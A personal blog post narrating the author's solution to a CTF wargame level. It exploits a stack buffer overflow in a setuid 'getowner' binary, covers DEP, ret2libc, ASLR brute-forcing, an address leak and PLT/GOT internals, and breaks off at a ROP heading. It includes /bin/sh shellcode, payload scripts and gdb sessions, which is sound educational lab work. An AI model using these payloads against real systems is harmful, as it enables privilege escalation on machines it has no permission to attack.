Baby’s First ASLR + DEP Bypass
This post is about a personal journey through my experience solving a difficult CTF challenge and the respective process. It is designed to walk the reader through my thinking process, discoveries, and insights. If you only care for the technical details, see “Blackbox Level 2 Writeup” instead.
Introduction
I’ve always been a fan of CTF. I remember trying my first around 13 years old (maybe earlier), armed with a laptop leased to me for school work, VirtualBox, and VulnHub. So, it was a welcome challenge when my friend Brent introduced me to a CTF platform he’s been trying out; something called the Blackbox Wargames.
BlackBox is old and still utilizes HTTP over plaintext. If you decide to visit the website, be cautious; adversary-in-the-middle attacks are feasible.
On first glance, it seemed rather outdated and abandoned; I (thankfully) rarely see any sites still supporting plaintext HTTP. Still, I decided to jump in.
The First Attempt
In the interest of saving you some reading over a painstakingly easy first level, I’ll move forward to after I completed it and was able to login to the level2 user:
Discovery
Let’s take a look at the home folder for the level2 user.
level2@blackbox:~$ ls -l
total 16
-rwsr-x--- 1 level3 gamers 7797 2017-05-24 01:56 getowner
-rw-r--r-- 1 root level2 488 2007-12-29 14:10 getowner.c
-rw-r--r-- 1 root root 9 2008-01-24 05:53 password
level2@blackbox:~$ Immediately, the setuid bit on getowner jumps out. Since the owner is level3, if we can get getowner to execute some shellcode or a command, it should execute under the permission context of the level3 user.
Let’s take a look at the source code for getowner.
// /home/level2/getowner.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
char *filename;
char buf[128];
if((filename = getenv("filename")) == NULL) {
printf("No filename configured!\n");
return 1;
}
while(*filename == '/')
filename++;
strcpy(buf, "/tmp/");
strcpy(&buf[strlen(buf)], filename);
struct stat stbuf;
stat(buf, &stbuf);
printf("The owner of this file is: %d\n", stbuf.st_uid);
return 0;
}Looks like it takes 128 characters of input from the filename environment variable, and uses it to find the user id of the owner of /tmp/<filename>. Let’s try it out:
level2@blackbox:~$ mktemp
/tmp/tmp.eRvAp18425
level2@blackbox:~$ filename="tmp.eRvAp18425" ./getowner
The owner of this file is: 1003
level2@blackbox:~$ id
uid=1003(level2) gid=1005(gamers) groups=1003(level2),1005(gamers)
level2@blackbox:~$ That is, indeed, what it does. Notably, though, there looks to be no bounds checking on the buffer used to store the filename variable…
char buf[128];
// [...]
while(*filename == '/')
filename++;
// [...]
strcpy(buf, "/tmp/");
strcpy(&buf[strlen(buf)], filename);
If you’ve ever tried any kind of linux exploitation, it’s likely that you know what we’re looking at here. This is a classic buffer overflow vulnerability. So, what happens when I overflow the buffer?
level2@blackbox:~$ export filename=$(python2.4 -c 'print "A" * 150')
level2@blackbox:~$ ./getowner
The owner of this file is: -1216751964
Segmentation fault
level2@blackbox:~$ Crash. Time to have some fun!
If you’re unfamiliar with x86, the rest of the writeup is likely going to be no fun. I’ll do my best to explain, but I’m not perfect, so I highly recommend this video from Ben Eater on YouTube to understand a bit of x86. As an aside, Ben Eater is a great creator- go check out his content!
Debugging
So, why did we crash? To find out, we’ll have to use a debugger. I’ll use the GNU Debugger (a.k.a. gdb). Let’s give gdb the same input that crashed the program and see what happened.
level2@blackbox:~$ gdb -q ./getowner
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) run
Starting program: /home/level2/getowner
The owner of this file is: -1217259868
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) Looks like the value of the %eip register (program counter, points to current instruction address) was filled with 0x41414141 (AAAA). This makes sense in the context of a buffer overflow- our input data overflows the buffer and spills into the stack data that the processor needs to return from main(). We managed to fill that important stack data with useless A’s, which the processor interpreted as a return address.
Let’s take a moment to visualize the stack at the time of the strcpy() call which fills the buffer. It’s worth noting that strcpy() fills the buffer towards the high address, i.e., towards the ‘bottom’ of the stack frame (noted by the base pointer register, %ebp). 
In short, since the strcpy() call doesn’t check how large the buffer actually is, it can overwrite the previously saved data on the stack, including $edi, $ebp, and $eip (the fun one). To determine exactly how many bytes we need in our input to hit the saved return address on the stack, we’ll need to either count stack variables in the source or use a tool that does it for us. I tend to prefer the latter, and have had great luck with this tool by Jason Rush. There are many that do the same thing (lots built into exploit development toolkits), but I have used this one for a while. Let’s try it out with a pattern generated from the tool:
level2@blackbox:~$ gdb -q ./getowner
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) run
Starting program: /home/level2/getowner
The owner of this file is: -1216633180
Program received signal SIGSEGV, Segmentation fault.
0x41356541 in ?? ()
(gdb)Plugging in our %eip value back into the tool, we can see that the offset is 135 bytes: 
So, we need 135 bytes of junk data and then the next 4 bytes will be interpreted as the return address from main(). Let’s try it out:
level2@blackbox:~$ export filename=$(python2.4 -c 'print "A" * 135 + "B" * 4')
level2@blackbox:~$ gdb -q ./getowner
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) run
Starting program: /home/level2/getowner
The owner of this file is: -1217038684
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)Bingo. This time, %eip = 0x42424242, which is BBBB, meaning we placed our return address correctly. Looks like we have all the information we need to put some shellcode on the stack, return to it, and win the password to level3.
Exploiting
In order to exploit this vulnerability, we’ll need to put some shell code onto the stack and point the return address to it. Once main() returns, our placed return address will be loaded into %eip and the processor will begin to execute the code we placed on the stack.
There are lots of shellcode libraries designed for this case. I’ll be using ExploitDB to find some shellcode that will work for us. In particular, let’s use this 25-byte execve(/bin/sh) Shellcode built for x86 Linux by bolonobolo. This shellcode should spawn an interactive shell for us under the permission context of the level3 user*.
// Exploit Title: Linux/x86 - execve /bin/sh ShellCode (25 bytes)
// Date: 2019-10-14
// Author: bolonobolo
// Vendor Homepage: None
// Software Link: None
// Tested on: Linux x86
// CVE: N/A
unsigned char code[] = \
"\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80";* Depending on shell and version, the builtin bash or sh may or may not check real uid for permissions instead of euid (effective uid, the one set by the suid bit). In these cases, we’d need a setuid() or similar call to allow the shell to spawn under the permission context of the file owner. However, in this scenario, I won’t worry about it.
Instead of blindly firing, let’s use gdb to help us build the rest of our exploit. We’ll break right before the strcpy() call, figure out the memory address of the buffer, and use it as a return address.
level2@blackbox:~$ export filename=$(python2.4 -c 'print "\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80"')
level2@blackbox:~$ gdb -q ./getowner
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) disassemble main
Dump of assembler code for function main:
0x08048434 <main+0>: push %ebp
[...]
0x080484bf <main+139>: mov %eax,(%esp)
0x080484c2 <main+142>: call 0x8048374 <strcpy@plt>
[...]
0x0804850b <main+215>: pop %edi
0x0804850c <main+216>: pop %ebp
0x0804850d <main+217>: ret
End of assembler dump.
(gdb) break *main+142
Breakpoint 1 at 0x80484c2
(gdb) run
Starting program: /home/level2/getowner
Breakpoint 1, 0x080484c2 in main ()
(gdb) x/8x $esp
0xbfba6098: 0xbfba6105 0xbfba6ef3 0xbfba6100 0xb7640b6e
0xbfba60a8: 0x00000000 0x00000000 0x00756854 0xb7767d6c
(gdb) next
Single stepping until exit from function main,
which has no line number information.
The owner of this file is: -1216874844
0xb7644ea8 in __libc_start_main () from /lib/tls/libc.so.6
(gdb) x/16b 0xbfba6105
0xbfba6105: 0x99 0xf7 0xe2 0x8d 0x08 0xbe 0x2f 0x2f
0xbfba610d: 0x73 0x68 0xbf 0x2f 0x62 0x69 0x6e 0x51
(gdb) Awesome, looks like we were able to find the buffer address as an argument for strcpy(), which is 0xbfba6105, and confirm that our shellcode lives at that address. Let’s use 0xbfba6105 as a return address, fire it off, and cross our fingers. This brings our payload to the following:
shellcode = "\x99\xf7\xe2\x8d\x08\xbe" + \
"\x2f\x2f\x73\x68\xbf\x2f\x62\x69" + \
"\x6e\x51\x56\x57\x8d\x1c\x24\xb0" + \
"\x0b\xcd\x80"
junk = "A" * (135 - 24)
ret = "\x05\x61\xba\xbf"
payload = shellcode + junk + retNote that this is a little-endian architecture, meaning the least significant byte of data goes at the lowest memory address. This affects the memory representation of integers (in this case, our return address), so an integer like 0x11223344 will actually live in memory as 0x44332211. Because of this, we’ll need to input our return address as 0x0561babf.
Failure #1
Let’s fire it.
level2@blackbox:~$ export filename=$(python2.4 $temp/exploit.py)
level2@blackbox:~$ ./getowner
The owner of this file is: -1216518492
Segmentation fault
level2@blackbox:~$ Well, that didn’t work. I wonder what happened; let’s pop it open and take a look with gdb.
level2@blackbox:~$ gdb -q ./getowner
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) run
Starting program: /home/level2/getowner
The owner of this file is: -1216858460
Program received signal SIGSEGV, Segmentation fault.
0xbfba6105 in ?? ()
(gdb) Looks like our return address is correct, so we should be executing that data. Unless…
danny:tmp.mvZAy3IupS danny$ scp -P 2225 -oHostKeyAlgorithms=+ssh-rsa level2@blackbox.smashthestack.org:/home/level2/getowner .
danny:tmp.mvZAy3IupS danny$ checksec getowner
[*] '/private/var/folders/kh/jf9yb7wn0b7dq74lxk6strj00000gn/T/tmp.mvZAy3IupS/getowner'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
danny:tmp.mvZAy3IupS danny$ Uh oh.
The First Hurdle: DEP
DEP, or Data Execution Prevention, is a system security technique used to prevent some more trivial buffer overflow or other ACE (Arbitrary Code Execution) vulnerabilities. Essentially, it uses a No eXecute (NX) bit to flag certain memory regions as non-executable.
Effectively, DEP ensures that every memory region is either permissioned with rw- (read and write, no execute) or r-x (read and execute, no write)*. In our case, this means that the operating system disallows execution of any instructions placed on the stack (or other writable memory regions).
* There are r-- (read-only) memory regions too, but we don’t care about them for now.
ret2libc
A return-to-libc attack, or ret2libc, is a DEP bypass technique that is viable in this scenario. Essentially, instead of trying to write our own code to a rw- region, we can just use already existing code in a r-x region that does what we want.
Luckily for us, everything that we need to actually spawn a shell is already loaded into memory by getowner:
// /home/level2/getowner.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>getowner utilizes the GNU C Library, known as libc, in order to interact with the filesystem and I/O handles. The standard library includes other functions, too, though- namely, it includes system() (?), which can be used to run a command from a shell.
Basically, instead of trying to return to some shellcode on the stack (rw-) that will execute system("/bin/sh"), we can overwrite the return address to libc’s system() address (r-x) and pass it an argument to a /bin/sh string (which the library also includes, but we can put that on the stack if we’d rather).
If you’re unfamiliar with x86 calling convention, now would be a good time to familiarize yourself with it if you want to enjoy the rest of the article. Here’s a great visual example of the call procedure, provided by Connor Stack on YouTube.
Let’s use gdb to find the address of libc’s system(). We’ll also want to grab the address of exit() (?), so that our exploit exits cleanly instead of crashing.
level2@blackbox:~$ gdb -q ./getowner
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) start
Breakpoint 1 at 0x8048438
Starting program: /home/level2/getowner
0x08048438 in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0xb76e29b0 <system>
(gdb) print exit
$2 = {<text variable, no debug info>} 0xb76d8420 <exit>
(gdb)Sweet, we know that system = 0xb76e29b0 and exit = 0xb76d8420. I’ll go ahead and use objdump (?) and strings (?) to find the address of the /bin/sh string baked into libc in order to use it as an argument for our system() call.
level2@blackbox:~$ objdump -T /lib/tls/libc.so.6 | grep system
000359b0 w DF .text 0000007d GLIBC_2.0 system
000f1a10 g DF .text 00000042 GLIBC_2.0 svcerr_systemerr
000359b0 g DF .text 0000007d GLIBC_PRIVATE __libc_system
level2@blackbox:~$ strings -at x /lib/tls/libc.so.6 | grep "/bin/sh"
120dce /bin/sh
level2@blackbox:~$ Looks like system = <libc_base> + 0x359b0 and "/bin/sh" = <libc_base> + 0x120dce. Now, we have enough information to deduce the memory address of the /bin/sh string by using some basic mathematics. We can use these values to craft our payload in the following manner:
junk = "A" * 135
libc_system = "\xb0\x29\x6e\xb7"
libc_exit = "\x20\x84\x6d\xb7"
# libc_base = 0xb76e29b0 - 0x359b0 = 0xb76ad000
# libc_str = libc_base + 0x120dce = 0xb77cddce
libc_str = "\xce\xdd\x7c\xb7"
payload = junk + libc_system + libc_exit + libc_strLet’s take another moment to visualize how the stack and some important memory addresses will look with this payload.

* Libraries have independent sections that are permissioned differently, so it’s inaccurate to say that all of libc is r-x. We’ll talk about this more later.
After main() returns, %eip will be overwritten with the memory address of libc’s system(), which will start to run. Since it expects one argument, it will use relative addressing ($esp + 0x4) to grab our pointer to "/bin/sh" as an argument, therefore running /bin/sh as a shell command, spawning an interactive shell for us. Once it’s finished, it will pop the return address, returning and exiting cleanly via exit(). Seems like a successful ret2libc attack!
If you’re curious as to why the argument for system() is placed after the return address, see this great answer by plonk on StackOverflow.
Failure #2
Let’s try it out.
level2@blackbox:~$ export filename=$(python2.4 $temp/exploit.py)
level2@blackbox:~$ ./getowner
The owner of this file is: -1216928092
Segmentation fault
level2@blackbox:~$ Great. What now? I’m getting tired of launching gdb…
level2@blackbox:~$ gdb -q ./getowner
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) break *main+217
Breakpoint 1 at 0x804850d
(gdb) run
Starting program: /home/level2/getowner
The owner of this file is: -1217014108
Breakpoint 1, 0x0804850d in main ()
(gdb) x/x $esp
0xbfd3a04c: 0xb76e29b0
(gdb) step 1
Single stepping until exit from function main,
which has no line number information.
Cannot access memory at address 0x41414145
(gdb) print $eip
$1 = (void (*)()) 0xb76e29b0 <argp_failure+6976>
(gdb) print system
$2 = {<text variable, no debug info>} 0xb76439b0 <system>
(gdb) It looks like our exploit didn’t work because we ended up in libc’s argp_failure() routine instead of system(). Also, it looks like the address of system() is 0xb76439b0, which is different than our expected address of 0xb76e29b0… Why?
The Second Hurdle: ASLR
Address Space Layout Randomization, or ASLR, is yet another system security technique that does exactly what the name implies: randomizes the virtual address space layout for each process that spawns. By doing so, it can prevent an attacker from accurately predicting the memory address of shared library data*.
* Kinda- you’ll see later.
Context
There are a few things I have to tell you about ASLR.
- ASLR randomizes the address space layout of the program at runtime. That is, it happens when the process is spawned. If the process is spawned once, then no matter how many times it actually runs or calls main or whatever else, memory addresses will be the same.
- ASLR doesn’t change the virtual memory addresses of the target program (i.e.
main()and/or other functions provided bygetowneror statically linked libraries). So, if the memory address ofmain()is at0x8048434, it will always live at0x8048434*. - The way ASLR randomizes libraries must not compromise those libraries’ functionality. If ASLR were to shuffle every byte in the library, the data held within would certainly make no sense. If it were even to randomize the order of the routines or memory regions in those libraries, the library still would break. Instead, you can think of ASLR’s randomization like reorganizing books on a shelf, by picking up an entire book and placing it somewhere else on the shelf. This way, the pages within the book (like data within a library) are still in order, and the book still makes sense, but the book and therefore its pages are all in a different spot on the shelf. By the analogy, the library and its data (including routines) are all at different memory addresses.
* Except when PIC is enabled, which I’ll mention later.
These observations leave us with some interesting ideas about bypassing ASLR:
- Because of the way that ASLR randomizes libraries, we can utilize relative offsets (like the ones we found in ret2libc for
system()and"/bin/sh") to calculate the base address of a library. By using the base address, we can accurately calculate the virtual addresses of any function or data within the library. - Since ASLR happens at runtime, subsequent calls of
main()will not have their address space layout randomized, as long as the process is spawned only once. Thus, if we overwrite the return address back tomain(), the 2nd run will have the same virtual addresses as the 1st.
If we can get the 1st run of main() to leak some libc address, and the 2nd run of main() to take different input than the 1st, we can utilize these observations to completely bypass ASLR.
Demonstration & Sampling
Using ldd (?), we can see the virtual memory addresses of shared libraries. Let’s check the virtual address of libc for getowner a few times.
level2@blackbox:~$ ldd ./getowner | grep libc
libc.so.6 => /lib/tls/libc.so.6 (0xb7603000)
level2@blackbox:~$ ldd ./getowner | grep libc
libc.so.6 => /lib/tls/libc.so.6 (0xb7617000)
level2@blackbox:~$ ldd ./getowner | grep libc
libc.so.6 => /lib/tls/libc.so.6 (0xb75b9000)
level2@blackbox:~$ ldd ./getowner | grep libc
libc.so.6 => /lib/tls/libc.so.6 (0xb7617000)
level2@blackbox:~$ ldd ./getowner | grep libc
libc.so.6 => /lib/tls/libc.so.6 (0xb767d000)
level2@blackbox:~$ ldd ./getowner | grep libc
libc.so.6 => /lib/tls/libc.so.6 (0xb75c7000)
level2@blackbox:~$ ldd ./getowner | grep libc
libc.so.6 => /lib/tls/libc.so.6 (0xb75eb000)
level2@blackbox:~$ That’s interesting; the library address isn’t completely random, but seems to follow a format of 0xb7___000. The trailing 000 is because libraries are loaded page-aligned in Linux (see the explanation of mmap base randomization). Let’s see how much entropy is actually in these addresses…
| Hexadecimal | Binary |
|---|---|
b7603000 | 10110111011000000011000000000000 |
b7617000 | 10110111011000010111000000000000 |
b75b9000 | 10110111010110111001000000000000 |
b7617000 | 10110111011000010111000000000000 |
b767d000 | 10110111011001111101000000000000 |
b75c7000 | 10110111010111000111000000000000 |
b75eb000 | 10110111010111101011000000000000 |
It looks like the common bits are 1011011101_________1000000000000. There are 9 unpredictable bits here, so a maximum of 29 = 512 different combinations.
Weirdly enough, the system configuration disagrees:
level2@blackbox:~$ cat /proc/sys/vm/mmap_min_addr
4096
level2@blackbox:~$ I’m still not sure why the config shows 4096 bits on a 32-bit system, but in any case, the observed 9 bits of entropy is small enough to bruteforce the address instead of actually bypassing ASLR.
A Taste of Victory
Since there are only 512 possible combinations at most, every time we run our ret2libc exploit, there is a 1/512 chance (or higher) that we actually hit the correct memory layout and return to a system("/bin/sh") call, spawning an interactive shell instead of crashing. It’s completely up to the mercy of ASLR, but if we try enough times, it should happen at least once.
Let’s throw it in a while true loop and try it:
Success!! We finally bested level 2. Moving on with my life now.
The Third Hurdle: Ego
After beating level 2, I breezed through levels 3, 4, and 5. I couldn’t help but notice the comparative trivia of the proceeding 3 levels, even after not having to bypass ASLR, instead opting for a bruteforce. Surely level 2 wasn’t meant to be this difficult, right?
Discovery
Curiosity got the best of me and I decided to look at someone else’s solution. I stumbled across this writeup made by s9ghost, which clearly shows that neither ASLR nor DEP was implemented as of July 2012:
Let's rewrite out filename environmental variable:
level2@blackbox:/tmp/.somedir$ export filename=`perl -e 'print "A"x151,"\x7f\xdb\xff\xbf"'`
Now let's see what happens when we run the vulnerable getowner program:
level2@blackbox:~$ ./getowner
The owner of this file is: 0
sh-3.1$ whoami
level3
There we have it, shell as level3.So, indeed, bypassing DEP and bruteforcing ASLR was not the intended solution. A simple buffer overflow with some shellcode written on the stack(^) was the intended solution. In fact, I couldn’t find a single instance of someone mentioning ASLR in this challenge, with the only mention of an NX bit being this 0-karma reddit thread posted by u/jonman364. How could this happen?
- Well, either:
- A. The developers of this CTF decided to rework level 2,
- B. A system update made the challenge significantly more difficult, or
- C. Another challenger who has rooted (?) the box decided to tighten security.
I found scenario A unlikely. The difficulty of level 2 felt so out of place; levels 1, 3, 4, and 5 took me less than an hour of combined effort whereas I spent an entire night trying level 2. I supposed scenario B was possible, but there was a more shocking idea: scenario C.
I couldn’t stand the thought of scenario C. CTFs are designed to be learning grounds. Courtesy is absolutely necessary- playgrounds like this one are one of the best ways to train a new generation of hackers willing to make the world a better place. To go out of your way in an attempt to ruin someone else’s learning experience is nothing short of inconsiderate at best, or outright malicious at worst.
Challenge
The idea of someone attempting to ruin this CTF experience bothered me so much that I set out to prove to myself that I could thwart their attempt. I already had a few ideas about bypassing ASLR, and I’ve had a few years of offensive security experience by now, so it really shouldn’t be that hard, right?
I’m not entirely sure of the reason that I was so dedicated to this. Honestly, I didn’t even really know if this was really a malicious attempt at ruining someone else’s experience or a benign and unintended system update. Still, I decided that if I could find a way to truly bypass ASLR and DEP, it would serve as proof to myself that I actually knew a thing or two about exploit development; that it was, in fact, not luck or some kind of divine intervention. I could prove that I was skilled and dedicated to learning as much as I could; and that was worth pursuing.
Digging Deeper
So, I started thinking. In order to truly bypass ASLR, we need an address leak. With an address leak, we’ll be able to calculate any randomized address in the same mapping as the address leak.
Let’s go back to the “books on a shelf” example. If a shared library like libc is a book on the shelf, then its “base address” is the front cover, and each function or piece of data in the library is like a page in the book. By knowing where the front cover is on the shelf, we can derive the location of any page in the book. Similarly, by knowing the location of a page in the book, we can derive the location of the front cover, and by extension any other page in the book.
Can we leak a memory address from libc? What data does getowner actually give us?
level2@blackbox:~$ filename="tmp.eRvAp18425" ./getowner
The owner of this file is: 1003
level2@blackbox:~$It gives us a uid- specifically, the uid of the owner of /tmp/<filename>. Where does it get that uid?
struct stat stbuf;
stat(buf, &stbuf);
printf("The owner of this file is: %d\n", stbuf.st_uid);From libc’s stat() (?). What if the file doesn’t exist?
level2@blackbox:~$ filename=$(cat /dev/urandom | head -c5 | md5sum) ./getowner
The owner of this file is: -1217083740
level2@blackbox:~$ A random number..? What even is this random number?

Wait. That value, 0xb774c6a4, looks like a memory address; just like the ones we saw for system() and exit(). I wonder if it’s a leaking libc address? If so, it should always be some set distance away from a libc function like system()…

Wow. That value is always 0x119cf4 bytes away from system(). I should have bought a lottery ticket.
Plan A
With a memory leak, it seems like we’re armed with enough knowledge to bypass ASLR and perform a ret2libc attack, crafting a reliable exploit. Let’s write out the plan:
- Feed
main()with a payload that will overwrite the return address back tomain(). This serves to obtain our leaked address while also “resetting”main()without changing that randomized address.- The address of
main()is predictable because ASLR doesn’t affect the memory addresses ofgetowneror any statically-linked libraries.
- The address of
- Use the leaked address to calculate memory addresses for
system(),exit(), and"/bin/sh"in libc. - Create a new payload with our calculated addresses and feed it back to the 2nd run of
main(), overwriting its return address with the address ofsystem(). - Once
main()returns again, it will make asystem("/bin/sh")call, spawning an interactive shell, and exiting cleanly withexit(). - Profit.
Wait, but how do we feed the calculated payload to the second iteration of main()?
char *filename = getenv("filename");
while(*filename == '/')
filename++;
strcpy(buf, "/tmp/");
strcpy(&buf[strlen(buf)], filename);main() ingests filename via an environment variable and a call to libc’s getenv() (?). When a new child process is spawned in Linux, it inherits a copy of the parent process’ environment variables; this is how getowner receives a copy of our filename data. But that’s just the thing- it receives a copy of our environment variables, not pointers. So, we can’t change the parent process’ environment variables and expect that change to propagate to the child process.
If we can’t change the input data by updating the parent process’ environment variables, maybe there’s some other channel we can utilize to update the input data. Obviously, one of the functions that we can call back to is main(), but getowner.c doesn’t define any other functions. I wonder if there are others that we can utilize?
Linking, PLT, and GOT
Shared objects and libraries like libc are usually dynamically-linked. Dynamically-linked libraries aren’t compiled with getowner.c; instead, getowner relies on the linker to load shared objects and resolve the necessary references to them (like library function calls) at runtime. The Procedure Linkage Table (PLT) and Global Offset Table (GOT) are crucial components of this process.
Each dynamically bound ELF (?) program comes with .plt, .got, and .got.plt sections. PLT entries live in the .plt section, which is permissioned with r-x. The GOT entries live in the .got and .got.plt sections, which are permissioned with rw-.
Think about this: when you write and compile code, you do so with no knowledge of the memory addresses of any external functions that you use like printf() (?). When your code utilizes dynamic linking, the compiler has no knowledge of where those external functions are either. Your code must know the addresses of these functions if it wants to run them.
That is the job of the linker- and, by implementation, the PLT and GOT.
So, what actually happens when getowner calls getenv(), stat(), or printf()? Let’s disassemble getowner using objdump and gdb to find out.
From this point forward, I’ll be doing testing and debugging on a local x86 Ubuntu 16.04 box instead of the CTF host. I’ll also be utilizing PEDA, an extension for gdb that implements exploit development assistance.
danny:level2 danny$ objdump -j .text \
--disassemble-symbols=main \
--no-show-raw-insn ./getowner
./getowner: file format elf32-i386
Disassembly of section .text:
08048434 <main>:
8048434: pushl %ebp
8048435: movl %esp, %ebp
8048437: pushl %edi
[...]
8048445: calll 0x8048314 <getenv@plt>
[...]
804845a: calll 0x8048324 <puts@plt>
[...]
804850b: popl %edi
804850c: popl %ebp
804850d: retl
danny:level2 danny$ Looks like the getenv() call in the C source code for getowner was compiled to a call <getenv@plt> instruction. The same thing happened for the first printf(), which was optimized by the compiler to puts(). What exactly are these PLT functions?
danny:level2 danny$ objdump -j .plt \
--disassemble-symbols="getenv@plt" \
--print-imm-hex \
--no-show-raw-insn ./getowner
./getowner: file format elf32-i386
Disassembly of section .plt:
08048314 <getenv@plt>:
8048314: jmpl *0x804978c
804831a: pushl $0x0
804831f: jmp 0x8048304 <.plt>
danny:level2 danny$ Okay, so it looks like getenv@plt does… um, something? It kinda seems like magic to me.
Let’s focus on the first instruction: jmpl *0x804978c. This instruction does a memory read on address 0x804978c and unconditionally jumps to the address stored there. So, if 0x08048434 (address of main) was stored at 0x804978c, this instruction would immediately jump to main().
What actually is 0x804978c, though? Is it just some arbitrary writable address?
danny:level2 danny$ objdump --section-headers \
./getowner
./getowner: file format elf32-i386
Sections:
Idx Name Size VMA Type
0 00000000 00000000
1 .interp 00000013 08048114 DATA
2 .note.ABI-tag 00000020 08048128
3 .hash 00000038 08048148 DATA
[...]
18 .jcr 00000004 080496b0 DATA
19 .dynamic 000000c8 080496b4
20 .got 00000004 0804977c DATA
21 .got.plt 00000028 08049780 DATA
22 .data 0000000c 080497a8 DATA
[...]
33 .strtab 00000335 00000000
danny:level2 danny$ Ah, okay; that address is one in the .got.plt section, which ranges from memory addresses 0x08049780 - 0x080497a7. So, this would be a GOT entry.
For more information on the .got and .got.plt sections, see this answer from JohnTortugo on StackOverflow.
What data is at that memory address by default?
danny@ubuntu:~/level2$ gdb -q ./getowner
Reading symbols from ./getowner...done.
gdb-peda$ start
Temporary breakpoint 1, 0x08048438 in main ()
gdb-peda$ x/x 0x804978c
0x804978c <getenv@got.plt>: 0x0804831a
gdb-peda$ info symbol 0x0804831a
getenv@plt + 6 in section .plt of /home/danny/level2/getowner
gdb-peda$ 0x0804831a is stored at that address by default, which is another instruction in our getenv@plt routine:
08048314 <getenv@plt>:
8048314: jmpl *0x804978c
804831a: pushl $0x0
804831f: jmp 0x8048304 <.plt>Wait, so getenv@plt makes a completely unnecessary jump back to itself? Yes, that’s correct- but be careful to notice the other jump. After the first jump, it looks like we push 0x0 onto the stack and then jump to the top of the .plt section. Let’s take a look at that:
danny@ubuntu:~/level2$ objdump -d -j .plt \
--print-imm-hex --no-show-raw-insn ./getowner
./getowner: file format ELF32-i386
Disassembly of section .plt:
.plt:
8048304: pushl 0x8049784
804830a: jmpl *0x8049788
[...]
804837f: jmp -0x80 <.plt>
danny@ubuntu:~/level2$ Great, another memory read jump, this time to the address stored at 0x8049788. Let’s track this one down in gdb.
danny@ubuntu:~/level2$ gdb -q ./getowner
Reading symbols from ./getowner...done.
gdb-peda$ start
Temporary breakpoint 1, 0x08048438 in main ()
gdb-peda$ x/x 0x8049788
0x8049788: 0xb7712000
gdb-peda$ info symbol 0xb7712000
_dl_runtime_resolve in section .text of /lib/ld-linux.so.2
gdb-peda$ It’s starting to make sense now. The data at 0x8049788 is the memory address of the _dl_runtime_resolve() function, which (based on the name “dynamic linker, runtime resolve”) likely resolves the getenv() address. Don’t ask me how it works- as far as my understanding goes, this process is dark magic incarnate.
What I can tell you, though, is that _dl_runtime_resolve() does some really clever things after resolving the address:
- It stores the resolved address in the GOT slot for the function it was trying to resolve.
- In our
getenvexample, this slot is0x804978c(thegetenv@got.pltsymbol). - It knows which slot to store the resolved address in because we pushed an index onto the stack (i.e.
0x0), as well as a GOT base address (i.e.0x8049784).
- In our
- It jumps to the resolved address.
By storing the resolved address on the GOT, the resolver function ensures that any subsequent calls to getenv@plt will jump directly to the resolved address for getenv. Furthermore, by jumping to the resolved address, _dl_runtime_resolve() ensures that the very first call to getenv@plt also ends up calling the real getenv (after resolution of course).
Let’s step through it to see the process. I’ll debug this simple C program:
#include <stdio.h>
int main() {
puts("This call should resolve puts.\n");
puts("Now, no resolution necessary!\n");
return 0;
}
The .text section of an ELF (like libc or getowner) is the section where executable code goes.
By setting a breakpoint at puts@plt, we can observe some important data when puts() is called. On the first call, the GOT entry at 0x804a00c points to 0x80482e6, which leads to our magic resolver function. On the second call, the GOT entry points directly to 0xb7e76cb0, which is libc’s puts().
Application
Now we know that ELF programs contain a table of all of the resolved addresses of imported library functions (as long as they’ve been called once), and understand the process behind it.
What kind of information about getowner does its PLT and GOT give us? I wonder if there’s a function there that we can use to receive more input for a second stage?
danny@ubuntu:~/level2$ /usr/bin/objdump -T ./getowner
./getowner: file format elf32-i386
DYNAMIC SYMBOL TABLE:
00000000 DF *UND* 000000ef GLIBC_2.0 getenv
00000000 DF *UND* 0000017f GLIBC_2.0 puts
00000000 DF *UND* 0000008d GLIBC_2.0 __xstat
00000000 DF *UND* 000000e7 GLIBC_2.0 __libc_start_main
00000000 DF *UND* 00000039 GLIBC_2.0 printf
08048654 g DO .rodata 00000004 Base _IO_stdin_used
00000000 w D *UND* 00000000 __gmon_start__
00000000 DF *UND* 00000020 GLIBC_2.0 strcpy
danny@ubuntu:~/level2$ Looks like we can use libc’s getenv(), puts(), __xstat(), __libc_start_main(), printf(), and strcpy() by jumping to their PLT entries. Once they’re called for the first time, their resolved addresses are available to us on the GOT, so if we really need a different memory leak, we can return to puts() and have it leak an address. What do those functions do?
| Function | Description |
|---|---|
getenv | Returns environment variable value |
puts | Prints a string to stdout |
__xstat | Gets file information |
__libc_start_main | Handles program execution (?) |
printf | Formats a string and prints it to stdout |
strcpy | Copies or concatenates a string |
It doesn’t look like any of these functions could allow us to give getowner some calculated input. Maybe I could use xstat to ingest a file name, but at the very best, it would create a race condition and an unreliable exploit. I wish I could use gets() or some other function that takes data from stdin (?), but unfortunately, it’s not something the program imports.
The Break
I tinkered with a few ideas, but nothing fruitful or exciting came up. I sat for hours and hours thinking, experimenting, researching- but I still couldn’t figure out how to reliably exploit this program. So, I decided it was best for myself to put this project down and pick it up the following day.
The next day came and went. So did the day after that. The following weeks were hoarded by school, work, and social activities.
Finally and abruptly, my mind circled back around to this problem with a new idea: ROPping.
ROP
